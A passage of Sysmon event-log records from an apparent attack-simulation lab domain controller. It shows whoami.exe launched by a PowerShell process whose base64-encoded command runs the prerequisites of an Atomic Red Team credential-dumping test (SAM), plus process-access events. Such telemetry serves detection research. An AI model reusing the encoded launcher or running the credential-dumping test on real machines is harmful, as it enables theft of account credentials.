11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.681\r\nProcessGuid: {90617006-415F-5F2D-0000-0010AD9B0700}\r\nProcessId: 4228\r\nImage: C:\\Windows\\System32\\whoami.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: whoami - displays logged on user information\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: whoami.exe\r\nCommandLine: \"C:\\Windows\\system32\\whoami.exe\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9\r\nParentProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nParentProcessId: 5076\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.681","ProcessGuid":"{90617006-415F-5F2D-0000-0010AD9B0700}","Image":"C:\\Windows\\System32\\whoami.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"whoami - displays logged on user information","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"whoami.exe","CommandLine":"\"C:\\Windows\\system32\\whoami.exe\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9","ParentProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","ParentProcessId":"5076","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010AD9B0700}\r\nTargetProcessId: 4228\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c0e82eb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589aa9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589645|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010AD9B0700}","TargetProcessId":"4228","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c0e82eb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589aa9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589645|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010AD9B0700}\r\nTargetProcessId: 4228\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010AD9B0700}","TargetProcessId":"4228","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 